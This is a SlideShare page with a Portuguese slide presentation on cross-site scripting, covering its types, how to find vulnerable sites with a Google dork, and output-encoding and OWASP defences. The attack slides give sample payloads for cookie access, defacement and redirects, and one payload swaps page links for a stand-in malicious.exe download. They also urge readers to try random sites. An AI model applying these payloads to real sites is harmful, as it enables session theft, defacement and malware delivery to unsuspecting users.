SlideShare una empresa de Scribd logo
1 de 20
Carlos Henrique M. da Silva
carloshenrique.85@globo.com
A vulnerabilidade de Cross-Site-Script (XSS) é umas das
mais antigas e presentes desde os primórdios da
programação para Web dinâmica, a falha de XSS é
extremamente encontrada nos sistemas Web , permite ao
atacante obter controle total da sessão de autenticação do
usuário/vítima.
A vulnerabilidade de XSS executa códigos JavaScript no
navegador da vítima sem o consentimento dela. Com isto,
é possível enviar requisições para o servidor utilizando as
credenciais de permissão da vítima atacada.
O ataque de XSS ocorre quando um atacante utiliza a
aplicação web para enviar códigos maliciosos, geralmente
na forma de Browser Side Scripts para um usuário
acessar.
UTILIDADES MAIS COMUNS DE USO
 Roubar cookies do browser para efetuar um sequestro de
sessão;
 Defacement (Pixação);
 Proporcionar um DoS ou um DDoS.
 Iludir o usuário para que este acesse um determinado
conteúdo e preencha dados seus pensando que está
utilizando o site real, quando na verdade o conteúdo que
o mesmo está acessando faz parte de um HTML
malicioso que foi embutido em algum componente
vulnerável da aplicação.
-
3 TIPOS DE ATQUES XSS MAIS UTILIZADOS:
O primeiro tipo de ataque é de “XSS URL”, que
significa que o XSS não está na página e apenas
será executado se colocar o código malicioso na
URL e enviar a URL.
O segundo tipo é em campos de texto (ou senhas),
onde podemos entrar com dados, que muito
comumente são vulneráveis a XSS.
No terceiro tipo, é possível inserir dados (códigos)
e eles serão armazenados no site.
Encontrando vulnerabilidade à XSS
1. Na “mão”: procurando em Blogs, Fóruns, Caixas de
texto para mensagens, comentários, busca,… No qual
podemos entrar com dados;
2. Google Dork: inurl:”search.php?q=”
Vamos começar a aprender agora alguma coisa dos
métodos XSS utilizados atualmente e o tipo de XSS Injection
mais utilizado é:
<script>alert("XSS")</script>
Esse código fará com que uma caixa de mensagem de
alerta, com “XSS” escrito nela, apareça na tela.
ATACANDO
Depois de encontrado um site com do tipo search.php?q=
vamos simplesmente tentar o seguinte: digite após o sinal
de = o código <script>alert(“XSS”)</script>.
A URL na barra de endereço do browser ficará assim:
http://site.com/search.php?q=<script>alert("XSS")</script>
Há grandes chances de esse método
funcionar, mas não se preocupe se isso não
ocorrer. Apenas tente em outro site…
DEFACMENT COM XSS
<IMG SRC="http://mywebsite.com/defacmentpic.jpg">
Imagem
<embed src=http://mywebsite.com/deface.swf/>
Arquivo Flash
<embed src="deface.mid" hidden autostart="true"
loop="false" /> Arquivo de música em modo oculto
<script>window.open( "http://www.XXXXXXX.net/"
)</script>
Redirecionar para outro site, neste caso
"XXXXXXXXXXXX.net"
ROUBAR COOKIES USANDO XSS
O método mais utilizado de XSS é o roubo de cookies.
Tome-se como exemplo um aplicativo web que receba um
parâmetro “nome” contendo a identificação do usuário
legítimo e apresente o conteúdo sem quaisquer filtros:
http://www.vul.site/welcome.html?name=fulano
echo ‘<h1>Olá usuário ‘ + getParameter(‘name’) +
‘</h1>';
Considere que um usuário mal intecionado altere o atalho
para incluir um código arbitrário a ser executado no
navegador do usuário alvo:
Se um usuário legítimo e com acesso ao aplicativo
vulnerável realizar a requisição acima, o código javascript
‘alert(document.cookie)’ será executado sem ressalvas no
navegador do usuário alvo.
http://www.vul.site/welcome.html?name=
<script>alert(document.cookie)</script>
Outros exemplos de ataque podem substituir links válidos
por uma referência a um arquivo executável contendo um
vírus ou um cavalo de tróia:
http://www.example.com/welcome.html?name=
<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");AllLinks[0].href =
"http://badexample.com/malicious.exe"; }</script>
Este tipo de ataque responde por aproximadamente 75% das vulnerabilidades
de XSS que afetam aplicativos web na Internet.
A melhor maneira de proteger uma aplicação web de
ataques XSS é garantir que sua aplicação realize validação
de todos os cabeçalhos, cookies, strings de consulta,
campos de formulário e campos escondidos contra uma
rigorosa especificação do que pode ser permitido.
PROTEÇÃO
Codificar a saída fornecida pelo usuário pode ajudar a
mitigar as vulnerabilidades XSS prevenindo scripts
inseridos de serem transmitidos para usuários em formato
executável. Aplicações podem ter ganhos significativos de
proteção contra ataques baseados em javascript pela
conversão dos seguintes caracteres em todos as entradas
geradas para o código HTML apropriado: Visual Código
&nbsp;
& &amp;
> &gt;
< &lt;
PROTEÇÃO
Uma boa referência para apoiar a filtragem de dados é
o dicionário de ataques XSS fornecido pelo OWASP.
Por outro lado, os ataques de XSS também podem ser
evitados pela implementação de um filtro de aplicações
web, mais conhecido como Web Application Firewall, e
também por meio de mecanismos de prevenção que estão
embutidos em navegadores modernos.
PROTEÇÃO
O projeto de Filtros OWASP produz componentes
reutilizáveis em várias linguagens para ajudar a prevenir
muitas formas de adulterar parâmetros, incluindo a
injeção de ataques XSS. OWASP também tem lançado o
CodeSeeker (um firewall de nível de aplicação).
Adicionalmente, o programa de treinamento OWASP
WebGoat tem lições sobre XSS e codificação de dados.
PROTEÇÃO
 Formado em Análise de Sistemas
 Pós-Graduado em Auditoria em T.I.
 Gerente de TI da CLIOC – Coleção de Leishmania do
Instituto Oswaldo Cruz – Fiocruz
 Certificado em Gestão de Segurança da Informação e
Gerenciamento de T.I. pela Academia Latino-Americana
(Microsoft TechNet / Módulo Security)
Carlos Henrique M. da Silva
carloshenrique.85@globo.com

Más contenido relacionado

La actualidad más candente

Ameacas ataques e Cyberseguranca básica.pdf
Ameacas ataques e Cyberseguranca básica.pdfAmeacas ataques e Cyberseguranca básica.pdf
Ameacas ataques e Cyberseguranca básica.pdfEdkallenn Lima
 
Aula03 – Códigos Maliciosos e Tipos de Ataques
Aula03 – Códigos Maliciosos e Tipos de AtaquesAula03 – Códigos Maliciosos e Tipos de Ataques
Aula03 – Códigos Maliciosos e Tipos de AtaquesCarlos Veiga
 
Redes de Computadores - Aula 01
Redes de Computadores - Aula 01Redes de Computadores - Aula 01
Redes de Computadores - Aula 01thomasdacosta
 
Introdução à Programação Web com Angular
Introdução à Programação Web com AngularIntrodução à Programação Web com Angular
Introdução à Programação Web com AngularElmano Cavalcanti
 
Sistemas Operacionais
Sistemas OperacionaisSistemas Operacionais
Sistemas OperacionaisAdir Kuhn
 
Aula 04 arquitetura de computadores
Aula 04   arquitetura de computadoresAula 04   arquitetura de computadores
Aula 04 arquitetura de computadoresDaniel Moura
 
Sistemas operacionais
Sistemas operacionaisSistemas operacionais
Sistemas operacionaisvini_campos
 
Aula 1: Virtualização
Aula 1: VirtualizaçãoAula 1: Virtualização
Aula 1: Virtualizaçãocamila_seixas
 
Segurança da Informação - Ataques de Rede
Segurança da Informação - Ataques de RedeSegurança da Informação - Ataques de Rede
Segurança da Informação - Ataques de RedeNatanael Simões
 
Sistemas Operacionais Windows e Linux
Sistemas Operacionais Windows e LinuxSistemas Operacionais Windows e Linux
Sistemas Operacionais Windows e LinuxFelipe Cesar Costa
 
222097384 aulas-de-rede-tipos-de-servidores
222097384 aulas-de-rede-tipos-de-servidores222097384 aulas-de-rede-tipos-de-servidores
222097384 aulas-de-rede-tipos-de-servidoresMarco Guimarães
 
Ferramentas de Segurança
Ferramentas de SegurançaFerramentas de Segurança
Ferramentas de SegurançaAlefe Variani
 
Arquitetura Cliente-Servidor
Arquitetura Cliente-ServidorArquitetura Cliente-Servidor
Arquitetura Cliente-ServidorIsrael Messias
 
Qualidade de Software: Teste de software
Qualidade de Software: Teste de softwareQualidade de Software: Teste de software
Qualidade de Software: Teste de softwareAlex Camargo
 

La actualidad más candente (20)

Ameacas ataques e Cyberseguranca básica.pdf
Ameacas ataques e Cyberseguranca básica.pdfAmeacas ataques e Cyberseguranca básica.pdf
Ameacas ataques e Cyberseguranca básica.pdf
 
Aula03 – Códigos Maliciosos e Tipos de Ataques
Aula03 – Códigos Maliciosos e Tipos de AtaquesAula03 – Códigos Maliciosos e Tipos de Ataques
Aula03 – Códigos Maliciosos e Tipos de Ataques
 
Redes de Computadores - Aula 01
Redes de Computadores - Aula 01Redes de Computadores - Aula 01
Redes de Computadores - Aula 01
 
Introdução à Programação Web com Angular
Introdução à Programação Web com AngularIntrodução à Programação Web com Angular
Introdução à Programação Web com Angular
 
Padrões MVC
Padrões MVCPadrões MVC
Padrões MVC
 
Segurança de Rede
Segurança de RedeSegurança de Rede
Segurança de Rede
 
Aula 9 - Backdoor
Aula 9 - BackdoorAula 9 - Backdoor
Aula 9 - Backdoor
 
Sistemas Operacionais
Sistemas OperacionaisSistemas Operacionais
Sistemas Operacionais
 
Aula 04 arquitetura de computadores
Aula 04   arquitetura de computadoresAula 04   arquitetura de computadores
Aula 04 arquitetura de computadores
 
Sistemas operacionais
Sistemas operacionaisSistemas operacionais
Sistemas operacionais
 
Aula 1: Virtualização
Aula 1: VirtualizaçãoAula 1: Virtualização
Aula 1: Virtualização
 
Rede de computadores
Rede de computadoresRede de computadores
Rede de computadores
 
Segurança da Informação - Ataques de Rede
Segurança da Informação - Ataques de RedeSegurança da Informação - Ataques de Rede
Segurança da Informação - Ataques de Rede
 
Aula 1 - Introdução a Segurança da Informação
Aula 1 - Introdução a Segurança da InformaçãoAula 1 - Introdução a Segurança da Informação
Aula 1 - Introdução a Segurança da Informação
 
Sistemas Operacionais Windows e Linux
Sistemas Operacionais Windows e LinuxSistemas Operacionais Windows e Linux
Sistemas Operacionais Windows e Linux
 
222097384 aulas-de-rede-tipos-de-servidores
222097384 aulas-de-rede-tipos-de-servidores222097384 aulas-de-rede-tipos-de-servidores
222097384 aulas-de-rede-tipos-de-servidores
 
Ferramentas de Segurança
Ferramentas de SegurançaFerramentas de Segurança
Ferramentas de Segurança
 
Arquitetura Cliente-Servidor
Arquitetura Cliente-ServidorArquitetura Cliente-Servidor
Arquitetura Cliente-Servidor
 
Qualidade de Software: Teste de software
Qualidade de Software: Teste de softwareQualidade de Software: Teste de software
Qualidade de Software: Teste de software
 
Redes de computadores
Redes de computadoresRedes de computadores
Redes de computadores
 

Destacado (15)

Cross Site Scripting - XSS
Cross Site Scripting - XSSCross Site Scripting - XSS
Cross Site Scripting - XSS
 
Xss
XssXss
Xss
 
Aula 8 - SQL Injection
Aula 8 - SQL InjectionAula 8 - SQL Injection
Aula 8 - SQL Injection
 
Aula 6 - Ataques de Negação de Serviço (DoS e D-DoS)
Aula 6 - Ataques de Negação de Serviço (DoS e D-DoS)Aula 6 - Ataques de Negação de Serviço (DoS e D-DoS)
Aula 6 - Ataques de Negação de Serviço (DoS e D-DoS)
 
Bibliografia recomendada - programação C
Bibliografia recomendada - programação CBibliografia recomendada - programação C
Bibliografia recomendada - programação C
 
Invasão e Segurança
Invasão e SegurançaInvasão e Segurança
Invasão e Segurança
 
Aula 2 - Gestão de Riscos
Aula 2 - Gestão de RiscosAula 2 - Gestão de Riscos
Aula 2 - Gestão de Riscos
 
Segurança da Informação Aplicada a Negócios
Segurança da Informação Aplicada a NegóciosSegurança da Informação Aplicada a Negócios
Segurança da Informação Aplicada a Negócios
 
Aula 5 - Assinatura e Certificado Digital
Aula 5 - Assinatura e Certificado DigitalAula 5 - Assinatura e Certificado Digital
Aula 5 - Assinatura e Certificado Digital
 
Aula 7 - Ataque de Força Bruta
Aula 7 - Ataque de Força BrutaAula 7 - Ataque de Força Bruta
Aula 7 - Ataque de Força Bruta
 
Aula 4 - Plano de Continuidade de Negócios (PCN)
Aula 4 - Plano de Continuidade de Negócios (PCN)Aula 4 - Plano de Continuidade de Negócios (PCN)
Aula 4 - Plano de Continuidade de Negócios (PCN)
 
Aula 3 - Política de Segurança da Informação (PSI)
Aula 3 - Política de Segurança da Informação (PSI)Aula 3 - Política de Segurança da Informação (PSI)
Aula 3 - Política de Segurança da Informação (PSI)
 
Deep web
Deep webDeep web
Deep web
 
Guia Salarial 2017 Robert Half Brasil
Guia Salarial 2017 Robert Half BrasilGuia Salarial 2017 Robert Half Brasil
Guia Salarial 2017 Robert Half Brasil
 
Projeto em Seguranca da Informação
Projeto em Seguranca da InformaçãoProjeto em Seguranca da Informação
Projeto em Seguranca da Informação
 

Similar a Vulnerabilidade XSS e métodos de proteção

Segurança em Aplicações ASP.NET (XSS e CSRF)
Segurança em Aplicações ASP.NET (XSS e CSRF)Segurança em Aplicações ASP.NET (XSS e CSRF)
Segurança em Aplicações ASP.NET (XSS e CSRF)Luciano Gerhardt
 
Website security
Website securityWebsite security
Website securitythiagosenac
 
Segurança e Auditoria de sistemas
Segurança e Auditoria de sistemasSegurança e Auditoria de sistemas
Segurança e Auditoria de sistemasWesley Gimenes
 
Construindo uma Aplicação PHP à Prova de Balas
Construindo uma Aplicação PHP à Prova de BalasConstruindo uma Aplicação PHP à Prova de Balas
Construindo uma Aplicação PHP à Prova de BalasRafael Jaques
 
Construindo uma aplicação PHP à Prova de Balas - Rafael Jaques
Construindo uma aplicação PHP à Prova de Balas - Rafael JaquesConstruindo uma aplicação PHP à Prova de Balas - Rafael Jaques
Construindo uma aplicação PHP à Prova de Balas - Rafael JaquesTchelinux
 
Xss Desvendado!
Xss Desvendado!Xss Desvendado!
Xss Desvendado!ricardophp
 
Como analisar a vulnerabilidade de uma aplicação web com o Kali Linux
Como analisar a vulnerabilidade de uma aplicação web com o Kali LinuxComo analisar a vulnerabilidade de uma aplicação web com o Kali Linux
Como analisar a vulnerabilidade de uma aplicação web com o Kali LinuxEdlaine Zamora
 
Teste de Segurança: Vulnerabilidade de Aplicações Web
Teste de Segurança: Vulnerabilidade de Aplicações WebTeste de Segurança: Vulnerabilidade de Aplicações Web
Teste de Segurança: Vulnerabilidade de Aplicações WebMarcio Roberto de Souza Godoi
 
Desenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPDesenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPFlavio Souza
 
Segurança em Aplicações Web
Segurança em Aplicações WebSegurança em Aplicações Web
Segurança em Aplicações WebCassio Ramos
 
Construindo uma Aplicação PHP à Prova de Balas - 2010
Construindo uma Aplicação PHP à Prova de Balas - 2010Construindo uma Aplicação PHP à Prova de Balas - 2010
Construindo uma Aplicação PHP à Prova de Balas - 2010Rafael Jaques
 
Quem tem medo do XSS
Quem tem medo do XSSQuem tem medo do XSS
Quem tem medo do XSSWilliam Costa
 
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesPalestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesClavis Segurança da Informação
 
Workshop - Testes de Segurança
Workshop - Testes de SegurançaWorkshop - Testes de Segurança
Workshop - Testes de SegurançaAlan Carlos
 
XSS Injection ou Cross Site Scripting e seus perigos
XSS Injection ou Cross Site Scripting e seus perigosXSS Injection ou Cross Site Scripting e seus perigos
XSS Injection ou Cross Site Scripting e seus perigosMauricio Corrêa
 
Aplicações Web ‐ Seu site está seguro?
Aplicações Web ‐ Seu site está seguro?Aplicações Web ‐ Seu site está seguro?
Aplicações Web ‐ Seu site está seguro?Alex Hübner
 
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEAppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEMagno Logan
 

Similar a Vulnerabilidade XSS e métodos de proteção (20)

Segurança em Aplicações ASP.NET (XSS e CSRF)
Segurança em Aplicações ASP.NET (XSS e CSRF)Segurança em Aplicações ASP.NET (XSS e CSRF)
Segurança em Aplicações ASP.NET (XSS e CSRF)
 
Website security
Website securityWebsite security
Website security
 
Segurança e Auditoria de sistemas
Segurança e Auditoria de sistemasSegurança e Auditoria de sistemas
Segurança e Auditoria de sistemas
 
Construindo uma Aplicação PHP à Prova de Balas
Construindo uma Aplicação PHP à Prova de BalasConstruindo uma Aplicação PHP à Prova de Balas
Construindo uma Aplicação PHP à Prova de Balas
 
Construindo uma aplicação PHP à Prova de Balas - Rafael Jaques
Construindo uma aplicação PHP à Prova de Balas - Rafael JaquesConstruindo uma aplicação PHP à Prova de Balas - Rafael Jaques
Construindo uma aplicação PHP à Prova de Balas - Rafael Jaques
 
Xss Desvendado!
Xss Desvendado!Xss Desvendado!
Xss Desvendado!
 
Testes de segurança em aplicações web
Testes de segurança em aplicações webTestes de segurança em aplicações web
Testes de segurança em aplicações web
 
Como analisar a vulnerabilidade de uma aplicação web com o Kali Linux
Como analisar a vulnerabilidade de uma aplicação web com o Kali LinuxComo analisar a vulnerabilidade de uma aplicação web com o Kali Linux
Como analisar a vulnerabilidade de uma aplicação web com o Kali Linux
 
Cross Site Scripting
Cross Site Scripting Cross Site Scripting
Cross Site Scripting
 
Teste de Segurança: Vulnerabilidade de Aplicações Web
Teste de Segurança: Vulnerabilidade de Aplicações WebTeste de Segurança: Vulnerabilidade de Aplicações Web
Teste de Segurança: Vulnerabilidade de Aplicações Web
 
Desenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPDesenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHP
 
Segurança em Aplicações Web
Segurança em Aplicações WebSegurança em Aplicações Web
Segurança em Aplicações Web
 
Construindo uma Aplicação PHP à Prova de Balas - 2010
Construindo uma Aplicação PHP à Prova de Balas - 2010Construindo uma Aplicação PHP à Prova de Balas - 2010
Construindo uma Aplicação PHP à Prova de Balas - 2010
 
Quem tem medo do XSS
Quem tem medo do XSSQuem tem medo do XSS
Quem tem medo do XSS
 
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesPalestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
 
Workshop - Testes de Segurança
Workshop - Testes de SegurançaWorkshop - Testes de Segurança
Workshop - Testes de Segurança
 
XSS Injection ou Cross Site Scripting e seus perigos
XSS Injection ou Cross Site Scripting e seus perigosXSS Injection ou Cross Site Scripting e seus perigos
XSS Injection ou Cross Site Scripting e seus perigos
 
Aplicações Web ‐ Seu site está seguro?
Aplicações Web ‐ Seu site está seguro?Aplicações Web ‐ Seu site está seguro?
Aplicações Web ‐ Seu site está seguro?
 
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEAppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
 
Segurança na web
Segurança na webSegurança na web
Segurança na web
 

Vulnerabilidade XSS e métodos de proteção

  • 1. Carlos Henrique M. da Silva carloshenrique.85@globo.com
  • 2. A vulnerabilidade de Cross-Site-Script (XSS) é umas das mais antigas e presentes desde os primórdios da programação para Web dinâmica, a falha de XSS é extremamente encontrada nos sistemas Web , permite ao atacante obter controle total da sessão de autenticação do usuário/vítima.
  • 3. A vulnerabilidade de XSS executa códigos JavaScript no navegador da vítima sem o consentimento dela. Com isto, é possível enviar requisições para o servidor utilizando as credenciais de permissão da vítima atacada.
  • 4. O ataque de XSS ocorre quando um atacante utiliza a aplicação web para enviar códigos maliciosos, geralmente na forma de Browser Side Scripts para um usuário acessar.
  • 5. UTILIDADES MAIS COMUNS DE USO  Roubar cookies do browser para efetuar um sequestro de sessão;  Defacement (Pixação);  Proporcionar um DoS ou um DDoS.  Iludir o usuário para que este acesse um determinado conteúdo e preencha dados seus pensando que está utilizando o site real, quando na verdade o conteúdo que o mesmo está acessando faz parte de um HTML malicioso que foi embutido em algum componente vulnerável da aplicação. -
  • 6. 3 TIPOS DE ATQUES XSS MAIS UTILIZADOS: O primeiro tipo de ataque é de “XSS URL”, que significa que o XSS não está na página e apenas será executado se colocar o código malicioso na URL e enviar a URL.
  • 7. O segundo tipo é em campos de texto (ou senhas), onde podemos entrar com dados, que muito comumente são vulneráveis a XSS.
  • 8. No terceiro tipo, é possível inserir dados (códigos) e eles serão armazenados no site.
  • 9. Encontrando vulnerabilidade à XSS 1. Na “mão”: procurando em Blogs, Fóruns, Caixas de texto para mensagens, comentários, busca,… No qual podemos entrar com dados; 2. Google Dork: inurl:”search.php?q=”
  • 10. Vamos começar a aprender agora alguma coisa dos métodos XSS utilizados atualmente e o tipo de XSS Injection mais utilizado é: <script>alert("XSS")</script> Esse código fará com que uma caixa de mensagem de alerta, com “XSS” escrito nela, apareça na tela. ATACANDO
  • 11. Depois de encontrado um site com do tipo search.php?q= vamos simplesmente tentar o seguinte: digite após o sinal de = o código <script>alert(“XSS”)</script>. A URL na barra de endereço do browser ficará assim: http://site.com/search.php?q=<script>alert("XSS")</script> Há grandes chances de esse método funcionar, mas não se preocupe se isso não ocorrer. Apenas tente em outro site…
  • 12. DEFACMENT COM XSS <IMG SRC="http://mywebsite.com/defacmentpic.jpg"> Imagem <embed src=http://mywebsite.com/deface.swf/> Arquivo Flash <embed src="deface.mid" hidden autostart="true" loop="false" /> Arquivo de música em modo oculto <script>window.open( "http://www.XXXXXXX.net/" )</script> Redirecionar para outro site, neste caso "XXXXXXXXXXXX.net"
  • 13. ROUBAR COOKIES USANDO XSS O método mais utilizado de XSS é o roubo de cookies. Tome-se como exemplo um aplicativo web que receba um parâmetro “nome” contendo a identificação do usuário legítimo e apresente o conteúdo sem quaisquer filtros: http://www.vul.site/welcome.html?name=fulano echo ‘<h1>Olá usuário ‘ + getParameter(‘name’) + ‘</h1>';
  • 14. Considere que um usuário mal intecionado altere o atalho para incluir um código arbitrário a ser executado no navegador do usuário alvo: Se um usuário legítimo e com acesso ao aplicativo vulnerável realizar a requisição acima, o código javascript ‘alert(document.cookie)’ será executado sem ressalvas no navegador do usuário alvo. http://www.vul.site/welcome.html?name= <script>alert(document.cookie)</script>
  • 15. Outros exemplos de ataque podem substituir links válidos por uma referência a um arquivo executável contendo um vírus ou um cavalo de tróia: http://www.example.com/welcome.html?name= <script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script> Este tipo de ataque responde por aproximadamente 75% das vulnerabilidades de XSS que afetam aplicativos web na Internet.
  • 16. A melhor maneira de proteger uma aplicação web de ataques XSS é garantir que sua aplicação realize validação de todos os cabeçalhos, cookies, strings de consulta, campos de formulário e campos escondidos contra uma rigorosa especificação do que pode ser permitido. PROTEÇÃO
  • 17. Codificar a saída fornecida pelo usuário pode ajudar a mitigar as vulnerabilidades XSS prevenindo scripts inseridos de serem transmitidos para usuários em formato executável. Aplicações podem ter ganhos significativos de proteção contra ataques baseados em javascript pela conversão dos seguintes caracteres em todos as entradas geradas para o código HTML apropriado: Visual Código &nbsp; & &amp; > &gt; < &lt; PROTEÇÃO
  • 18. Uma boa referência para apoiar a filtragem de dados é o dicionário de ataques XSS fornecido pelo OWASP. Por outro lado, os ataques de XSS também podem ser evitados pela implementação de um filtro de aplicações web, mais conhecido como Web Application Firewall, e também por meio de mecanismos de prevenção que estão embutidos em navegadores modernos. PROTEÇÃO
  • 19. O projeto de Filtros OWASP produz componentes reutilizáveis em várias linguagens para ajudar a prevenir muitas formas de adulterar parâmetros, incluindo a injeção de ataques XSS. OWASP também tem lançado o CodeSeeker (um firewall de nível de aplicação). Adicionalmente, o programa de treinamento OWASP WebGoat tem lições sobre XSS e codificação de dados. PROTEÇÃO
  • 20.  Formado em Análise de Sistemas  Pós-Graduado em Auditoria em T.I.  Gerente de TI da CLIOC – Coleção de Leishmania do Instituto Oswaldo Cruz – Fiocruz  Certificado em Gestão de Segurança da Informação e Gerenciamento de T.I. pela Academia Latino-Americana (Microsoft TechNet / Módulo Security) Carlos Henrique M. da Silva carloshenrique.85@globo.com